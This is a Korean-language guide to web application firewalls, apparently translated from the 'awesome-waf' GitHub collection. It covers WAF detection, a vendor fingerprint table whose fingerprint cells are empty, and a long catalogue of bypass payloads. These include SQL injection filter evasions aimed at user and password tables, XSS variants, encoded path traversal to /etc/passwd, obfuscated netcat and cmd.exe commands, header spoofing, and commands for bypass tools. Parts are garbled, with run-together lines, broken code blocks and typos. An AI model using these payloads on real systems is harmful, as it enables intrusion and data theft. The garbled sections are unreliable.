
웹 애플리케이션 방화벽(WAF)에 관한 모든 것을 보안 관점에서! 🔥
웹 애플리케이션 방화벽(WAF)에 대한 모든 것을 보안 관점에서 다룹니다. 🔥
서문: 이것은 원래 WAF에 대한 개인 컬렉션이었습니다. 이제 펜테스터와 연구자들에게 유용할 수 있기를 바라며 오픈소스로 공개합니다. 흔히 말하듯, "커뮤니티는 서로 배웁니다."

간결한 정의: 방화벽은 웹 애플리케이션과 클라이언트 엔드포인트 사이에 위치한 보안 정책 시행 지점입니다. 이 기능은 소프트웨어나 하드웨어로 구현될 수 있으며, 어플라이언스 장치나 일반 운영 체제를 실행하는 일반 서버에서 실행될 수 있습니다. 독립형 장치이거나 다른 네트워크 구성 요소에 통합될 수 있습니다. (출처: PCI DSS IS 6.6)
웹 애플리케이션 방화벽은 사용자와 웹앱 사이에 위치하며, 악의적인 활동이 웹앱에 도달하는 것을 방지하는 역할을 합니다. WAF는 요청의 악의적인 부분을 필터링하거나 단순히 차단합니다.
기여해 주세요.
<script>*</script> 입력을 차단하는 규칙은 기본적인 크로스 사이트 스크립팅 공격을 방지합니다.80, 443, 8000, 8080, 8888 포트를 항상 확인하세요. 그러나 WAF는 HTTP 서비스가 실행되는 모든 포트에 쉽게 배포될 수 있다는 점을 유의해야 합니다. 먼저 HTTP 서비스 포트를 열거한 후 WAF를 찾는 것이 좋습니다.Server 헤더에 자신을 노출합니다(예: Approach, WTS WAF).WAF를 식별하려면 (모의로) 자극해야 합니다.
" or 1 = 1 --과 같은 일반적인 (쉽게 탐지되는) 페이로드를 주입합니다.<script>alert()</script>와 같은 시끄러운 페이로드를 주입합니다.../../../etc/passwd를 첨부합니다.' OR SLEEP(5) OR '와 같은 눈에 띄는 키워드를 추가합니다.HTTP/0.9와 같은 구식 프로토콜로 GET 요청을 보냅니다(HTTP/0.9는 POST 유형 쿼리를 지원하지 않습니다).Server 헤더를 변경합니다.팁: 자세한 내용은 여기 블로그 게시물에서 확인할 수 있습니다.
WAF 지문을 식별하고 싶으신가요? 어떻게 하는지 알아보겠습니다.
참고: 이 섹션에는 수동 WAF 탐지 기술이 포함되어 있습니다. 다음 섹션으로 넘어가고 싶을 수 있습니다.
## 회피 기법 WAF를 우회하고 회피하는 몇 가지 방법을 살펴보겠습니다.
| WAF | 지문 |
| 360 |
|
| aeSecure |
|
| Airlock |
|
| AlertLogic |
|
| Aliyundun |
|
| Anquanbao |
|
| Anyu |
|
| Approach |
|
| Armor Defense |
|
| ArvanCloud |
|
| ASPA |
|
| ASP.NET Generic |
|
| Astra |
|
| AWS ELB |
|
| Baidu Yunjiasu |
|
| Barikode |
|
| Barracuda |
|
| Bekchy |
|
| BinarySec |
|
| BitNinja |
|
| BIG-IP ASM |
|
| BlockDos |
|
| Bluedon IST |
|
| BulletProof Security Pro |
|
| CDN NS Application Gateway |
|
| Cerber (WordPress) |
|
| Chaitin Safeline |
|
| ChinaCache |
|
| Cisco ACE XML Gateway |
|
| Cloudbric |
|
| Cloudflare |
|
| CloudfloorDNS |
|
| Cloudfront |
|
| Comodo cWatch |
|
| CrawlProtect |
|
| Deny-All |
|
| Distil Web Protection |
|
| DoSArrest Internet Security |
|
| DotDefender |
|
| DynamicWeb Injection Check |
|
| e3Learning Security |
|
| EdgeCast (Verizon) |
|
| Eisoo Cloud |
|
| Expression Engine |
|
| F5 ASM |
|
| FortiWeb |
|
| GoDaddy |
|
| GreyWizard |
|
| Huawei Cloud |
|
| HyperGuard |
|
| IBM DataPower |
|
| Imperva Incapsula |
|
| Imunify360 |
|
| IndusGuard |
|
| Instart DX |
|
| ISA Server |
|
| Janusec Application Gateway |
|
| Jiasule |
|
| KeyCDN |
|
| KnownSec |
|
| KONA Site Defender (Akamai) |
|
| LiteSpeed |
|
| Malcare |
|
| MissionControl Application Shield |
|
| ModSecurity |
|
| ModSecurity CRS |
|
| NAXSI |
|
| Nemesida |
|
| Netcontinuum |
|
| NetScaler AppFirewall |
|
| NevisProxy |
|
| NewDefend |
|
| Nexusguard |
|
| NinjaFirewall |
|
| NSFocus |
|
| NullDDoS |
|
| onMessage Shield |
|
| OpenResty Lua WAF |
|
| Palo Alto |
|
| PentaWAF |
|
| PerimeterX |
|
| pkSecurityModule IDS |
|
| Positive Technologies Application Firewall |
|
| PowerCDN |
|
| Profense |
|
| Proventia (IBM) |
|
| Puhui |
|
| Qiniu CDN |
|
| Radware Appwall |
|
| Reblaze |
|
| Request Validation Mode |
|
| RSFirewall |
|
| Sabre |
|
| Safe3 |
|
| SafeDog |
|
| SecKing |
|
| SecuPress |
|
| Secure Entry |
|
| SecureIIS |
|
| SecureSphere |
|
| SEnginx |
|
| ServerDefender VP |
|
| Shadow Daemon |
|
| ShieldSecurity |
|
| SiteGround |
|
| SiteGuard (JP Secure) |
|
| SiteLock TrueShield |
|
| SonicWall |
|
| Sophos UTM |
|
| SquareSpace |
|
| SquidProxy IDS |
|
| StackPath |
|
| Stingray |
|
| Sucuri CloudProxy |
|
| Synology Cloud |
|
| Tencent Cloud |
|
| Teros |
|
| TrafficShield |
|
| TransIP |
|
| UCloud UEWaf |
|
| URLMaster SecurityCheck |
|
| URLScan |
|
| USP Secure Entry |
|
| Varnish (OWASP) |
|
| Varnish CacheWall |
|
| Viettel |
|
| VirusDie |
|
| WallArm |
|
| WatchGuard IPS |
|
| WebARX Security |
|
| WebKnight |
|
| WebLand |
|
| WebRay |
|
| WebSEAL |
|
| WebTotem |
|
| West263CDN |
|
| Wordfence |
|
| WTS-WAF |
|
| XLabs Security WAF |
|
| Xuanwudun WAF |
|
| Yunaq Chuangyu |
|
| Yundun |
|
| Yunsuo |
|
| YxLink |
|
| ZenEdge |
|
| ZScaler |
|
URL/엔드포인트에 대해 페이로드 세트를 실행합니다. 몇 가지 좋은 퍼징 워드리스트:
케이스: SQL 인젝션
필터링된 키워드: and, or, union
예상 정규식: preg_match('/(and|or|union)/i', $id)
union select user, password from users1 || (select user from users where user_id = 1) = 'admin'필터링된 키워드: and, or, union, where
1 || (select user from users where user_id = 1) = 'admin'1 || (select user from users limit 1) = 'admin'필터링된 키워드: and, or, union, where, limit
1 || (select user from users limit 1) = 'admin'1 || (select user from users group by user_id having user_id = 1) = 'admin'필터링된 키워드: and, or, union, where, limit, group by
1 || (select user from users group by user_id having user_id = 1) = 'admin'1 || (select substr(group_concat(user_id),1,1) user from users ) = 1필터링된 키워드: and, or, union, where, limit, group by, select
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'필터링된 키워드: and, or, union, where, limit, group by, select, '
1 || (select substr(gruop_concat(user_id),1,1) user from users) = 11 || user_id is not null1 || substr(user,1,1) = 0x611 || substr(user,1,1) = unhex(61)필터링된 키워드: and, or, union, where, limit, group by, select, ', hex
1 || substr(user,1,1) = unhex(61)1 || substr(user,1,1) = lower(conv(11,10,36))필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr
1 || substr(user,1,1) = lower(conv(11,10,36))1 || lpad(user,7,1)필터링된 키워드: and, or, union, where, limit, group by, select, ', hex, substr, 공백
1 || lpad(user,7,1)1%0b||%0blpad(user,7,1)1. 대소문자 전환
표준: <script>alert()</script>
우회됨: <ScRipT>alert()</sCRipT>
표준: SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
우회됨: sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
2. URL 인코딩
차단됨: <svG/x=">"/oNloaD=confirm()//
우회됨: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F
차단됨: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)
우회됨: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3. 유니코드 정규화
표준: <marquee onstart=prompt()>
난독화됨: <marquee onstart=\u0070r\u06f\u006dpt()>
차단됨: /?redir=http://google.com
우회됨: /?redir=http://google。com (유니코드 대체)
차단됨: <marquee loop=1 onfinish=alert()>x
우회됨: <marquee loop=1 onfinish=alert︵1)>x (유니코드 대체)
표준: ../../etc/passwd
난독화됨: %C0AE%C0AE%C0AF%C0AE%C0AE%C0AFetc%C0AFpasswd
4. HTML 표현
표준: ">
인코딩됨: "><img src=x onerror=confirm()> (일반 형태)
인코딩됨: "><img src=x onerror=confirm()> (숫자 참조)
5. 혼합 인코딩
난독화됨:``` XSS
__6. 주석 사용하기__
- 주석은 표준 페이로드 벡터를 난독화합니다.
- 각 페이로드마다 다른 난독화 방법이 있습니다.
__차단됨__: `<script>alert()</script>`
__우회됨__: `<!--><script>alert/**/()/**/</script>`
__차단됨__: `/?id=1+union+select+1,2,3--`
__우회됨__: `/?id=1+un/**/ion+sel/**/ect+1,2,3--`
__7. 이중 인코딩__
- WAF 필터는 종종 공격을 방지하기 위해 문자를 인코딩하는 경향이 있습니다.
- 그러나 제대로 개발되지 않은 필터(재귀 필터 없음)는 이중 인코딩으로 우회할 수 있습니다.
__표준__: `http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\`
__난독화됨__: `http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\`
__표준__: `<script>alert()</script>`
__난독화됨__: `%253Cscript%253Ealert()%253C%252Fscript%253E`
__8. 와일드카드 난독화__
- 글롭(glob) 패턴은 여러 파일을 처리하기 위해 다양한 명령줄 유틸리티에서 사용됩니다.
- 이를 조작하여 시스템 명령을 실행할 수 있습니다.
- 리눅스 시스템의 원격 코드 실행 취약점에 특화되어 있습니다.
__표준__: `/bin/cat /etc/passwd`
__난독화됨__: `/???/??t /???/??ss??`
사용된 문자: `/ ? t s`
__표준__: `/bin/nc 127.0.0.1 1337`
__난독화됨__: `/???/n? 2130706433 1337`
사용된 문자: `/ ? n [0-9]`
__9. 동적 페이로드 생성__
- 각 프로그래밍 언어는 연결(concatenation)에 대한 다양한 구문과 패턴을 가지고 있습니다.
- 이를 통해 많은 필터와 규칙을 우회할 수 있는 페이로드를 효과적으로 생성할 수 있습니다.
__표준__: `<script>alert()</script>`
__난독화됨__: `<script>eval('al'+'er'+'t()')</script>`
__표준__: `/bin/cat /etc/passwd`
__난독화됨__: `/bi'n'''/c''at' /e'tc'/pa''ss'wd`
> Bash는 실행을 위해 경로 연결을 허용합니다.
__표준__: ``
__난독화됨__:```
13. 토큰 차단기
토크나이저에 대한 공격은 토큰 차단기를 사용하여 요청을 토큰으로 분할하는 논리를 깨뜨리려고 시도합니다.
토큰 차단기는 문자열의 요소와 특정 토큰 간의 대응 관계에 영향을 주어 서명 검색을 우회할 수 있는 기호입니다.
그러나 토큰 차단기를 사용하는 동안 요청은 여전히 유효해야 합니다.
사례: 토크나이저에 알려지지 않은 토큰
?id=‘-sqlite_version() UNION SELECT password FROM users --사례: 파서에 알려지지 않은 컨텍스트 (괄호가 컨텍스트에 포함되지 않음)
?id=123);DROP TABLE users --?id=1337) INTO OUTFILE ‘xxx’ --팁: 더 많은 페이로드는 이 치트 시트를 통해 제작할 수 있습니다.
14. 다른 형식의 난독화
사례: IIS
원래 요청:``` POST /sample.aspx?id1=something HTTP/1.1 HOST: victim.com Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 41
id2='union all select * from users--
난독화된 요청 + URL 인코딩:```
POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1
HOST: victim.com
Content-Type: application/x-www-form-urlencoded; charset=ibm037
Content-Length: 115
%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
다음 표는 테스트된 시스템에서 서로 다른 문자 인코딩의 지원을 보여줍니다 (메시지를 인코딩으로 난독화할 수 있는 경우):
TIP: 이 작은 파이썬 스크립트를 사용하여 페이로드와 매개변수를 원하는 인코딩으로 변환할 수 있습니다.
| 대상 | 인코딩 | 비고 |
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
|
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
|
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| Apache-TOMCAT7-JVM1.6-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM297, IBM420, IBM424, IBM-Thai, IBM871, cp1025 |
|
| IIS6, 7.5, 8, 10 -ASPX (v4.x) | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140, IBM01141, IBM01142, IBM01143, IBM01144, IBM01145, IBM01146, IBM01147, IBM01148, IBM01149, utf-16, unicodeFFFE, utf-32, utf-32BE, IBM273, IBM277, IBM278, IBM280, IBM284, IBM285, IBM290, IBM297, IBM420,IBM423, IBM424, x-EBCDIC-KoreanExtended, IBM-Thai, IBM871, IBM880, IBM905, IBM00924, cp1025 |
|
다음은 다양한 서버와 그에 따른 해석 비교입니다:
| 환경 | 매개변수 해석 | 예시 |
| ASP/IIS | 쉼표로 연결 | par1=val1,val2 |
| JSP, Servlet/Apache Tomcat | 첫 번째 매개변수 사용 | par1=val1 |
| ASP.NET/IIS | 쉼표로 연결 | par1=val1,val2 |
| PHP/Zeus | 마지막 매개변수 사용 | par1=val2 |
| PHP/Apache | 마지막 매개변수 사용 | par1=val2 |
| JSP, Servlet/Jetty | 첫 번째 매개변수 사용 | par1=val1 |
| IBM Lotus Domino | 첫 번째 매개변수 사용 | par1=val1 |
| IBM HTTP Server | 마지막 매개변수 사용 | par1=val2 |
| mod_perl, libapeq2/Apache | 첫 번째 매개변수 사용 | par1=val1 |
| Oracle Application Server 10G | 첫 번째 매개변수 사용 | par1=val1 |
| Perl CGI/Apache | 첫 번째 매개변수 사용 | par1=val1 |
| Python/Zope | 첫 번째 매개변수 사용 | par1=val1 |
| IceWarp | 배열 반환 | ['val1','val2'] |
| AXIS 2400 | 마지막 매개변수 사용 | par1=val2 |
| DBMan | 물결표 두 개로 연결 | par1=val1~~val2 |
| mod-wsgi (Python)/Apache | 배열 반환 | ARRAY(0x8b9058c) |
샘플 페이로드: 1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS
샘플 쿼리 URL: http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS
TIP: 이 방법을 사용하여 우회 방법을 만들 수 있는 실제 예는 여기에서 확인할 수 있습니다.
예시 요청:
GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1 Host: site.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0 Accept-Charset:utf-32; q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
사이트가 로드되면 설정한 UTF-32 인코딩으로 인코딩되고, 페이지의 출력 인코딩이 UTF-8이므로 "<script>alert (1) </ script>"로 렌더링되어 XSS가 트리거됩니다.
최종 URL 인코딩된 페이로드:``` %E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
#### Null Bytes:
- Null Bytes는 일반적으로 문자열 종결자로 사용됩니다.
- 이것은 Null Bytes를 필터링하지 않는 경우 많은 웹 애플리케이션 필터를 우회하는 데 도움이 될 수 있습니다.
Payload examples:```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
Standard: <a href="javascript:alert()">
Obfuscated: <a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>
Variant: <a 0x00 href="javascript:alert(1)">clickme</a>
%, //, !, ? 등과 같은 특수 문자를 사용할 수 있습니다.예시:
0x00에서 0xFF까지의 문자 집합을 퍼징하여 각 브라우저의 구분자 집합을 얻을 수 있습니다.다음은 @Masato Kinugawa가 정리한 구분자 목록입니다:
0x09, 0x0B, 0x0C, 0x20, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B0x09, 0x20, 0x2C, 0x3B0x09, 0x20, 0x28, 0x2C, 0x3B이색적인 페이로드 예시:``` <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
### 비전형적인 동등 구문 구조 사용
- 이 방법은 WAF 개발자가 고려하지 않은 공격 방법을 찾는 것을 목표로 합니다.
- 일부 사용 사례는 WAF가 페이로드를 전혀 탐지할 수 없는 치명적인 수준으로 변형될 수 있습니다.
- 이 페이로드는 방화벽을 통과한 후 서버에 의해 수락되고 실행됩니다.
WAF 개발자가 간과하는 일반적인 키워드:
- JavaScript 함수:
- `window`
- `parent`
- `this`
- `self`
- 태그 속성:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- SQL 연산자
- `lpad`
- `field`
- `bit_count`
예제 페이로드:
- __사례:__ XSS```
<script>window['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/0)</script>
<script>parent['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/1)</script>
<script>self['alert'](https://github.com/0xinfection/awesome-waf/blob/HEAD/2)</script>
원본 JavaScript에 대한 많은 대안을 사용할 수 있습니다:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> 하지만 위 구문 구조를 사용할 때의 문제는 긴 페이로드로 인해 WAF에 탐지되거나 CSP에 의해 차단될 수 있다는 점입니다. 그러나 상황에 따라 CSP(존재하는 경우)도 우회할 수 있습니다. ;)
### SSL/TLS 암호 남용:
- 서버는 다양한 SSL/TLS 암호 및 버전의 연결을 수락하는 경우가 많습니다.
- WAF에서 지원하지 않는 암호를 사용하여 서버에 연결을 초기화하면 작업을 수행할 수 있습니다.
#### 기술:
- 방화벽에서 지원하는 암호를 찾아냅니다(보통 WAF 공급업체 문서에서 이 내용을 다룹니다).
- 서버에서 지원하는 암호를 확인합니다([SSLScan](https://github.com/rbsec/sslscan)과 같은 도구가 도움이 됩니다).
- WAF에서는 지원하지 않지만 서버에서는 지원하는 특정 암호가 발견되면, 짜잔!
- 해당 특정 암호로 서버에 새 연결을 시작하면 페이로드를 몰래 전달할 수 있습니다.
> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
CLI 도구들, 예를 들어 cURL과 같은 것들은 PoC에 매우 유용할 수 있습니다:``` curl --ciphers -G -d
### HTTP 응답에서 WAF 제한 악용
#### 방법
- 많은 경우, WAF는 처리하도록 설계된 HTTP 요청의 _양_에 제한이 있습니다.
- 제한보다 __더 큰__ 크기의 HTTP 요청을 보내면 WAF를 완전히 우회할 수 있습니다.
#### 기술
- 시행착오 접근법을 사용하여 WAF가 HTTP 요청의 얼마나 많은 부분을 검사하는지 알아냅니다(보통 4kB의 배수).
- 완료되면 제한을 쓰레기 데이터로 채운 후 요청에 페이로드를 첨부합니다.
> 유사한 기술이 [Google Cloud Platform WAF 우회](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf)에 사용되었습니다.
### DNS 기록 남용:
- 종종 오래된 DNS 기록은 WAF 뒤에 있는 사이트의 위치에 대한 정보를 제공합니다.
- 목표는 사이트의 위치를 얻어 WAF를 통하지 않고 사이트에 직접 요청을 라우팅할 수 있도록 하는 것입니다.
> __팁:__ [IP History](http://www.iphistory.ch/en/) 및 [DNS Trails](https://securitytrails.com/dns-trails)와 같은 일부 온라인 서비스는 정찰 과정에서 도움이 됩니다.
__도구__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
*-sync-request 키워드 또는 공유 토큰 값이 비밀로 사용됩니다.이제 서버에 요청을 할 때, 이를 매개변수로 추가할 수 있습니다:``` http://host.com/?randomparameter=&=True
> 이 작동 방식의 실제 예는 [이 블로그](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/)에서 확인할 수 있습니다.
### 요청 헤더 스푸핑:
#### 방법:
- 목표는 WAF/서버가 이를 내부 네트워크에서 온 것으로 믿게 만드는 것입니다.
- 내부 네트워크를 나타내는 일부 스푸핑된 헤더를 추가하면 효과가 있습니다.
#### 기법:
- 각 요청마다 일부 헤더 세트를 동시에 추가하여 출처를 스푸핑합니다.
- 업스트림 프록시/WAF는 요청이 내부 네트워크에서 온 것으로 잘못 해석하고, 우리의 무서운 페이로드를 통과시킵니다.
사용되는 일반적인 헤더:```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
우선, Google Dorks Cheat Sheet에서 기술을 연마해야 합니다.
일반 검색:
+<wafname> waf bypass
특정 버전 익스플로잇 검색:
"<wafname> <version>" (bypass|exploit)
특정 유형 우회 익스플로잇:
"<wafname>" +<bypass type> (bypass|exploit)
Exploit DB에서:
site:exploit-db.com +<wafname> bypass
0Day Inject0r DB에서:
site:0day.today +<wafname> <type> (bypass|exploit)
Twitter에서:
site:twitter.com +<wafname> bypass
Pastebin에서:
site:pastebin.com +<wafname> bypass
---
[Read more](https://github.com/0xinfection/awesome-waf)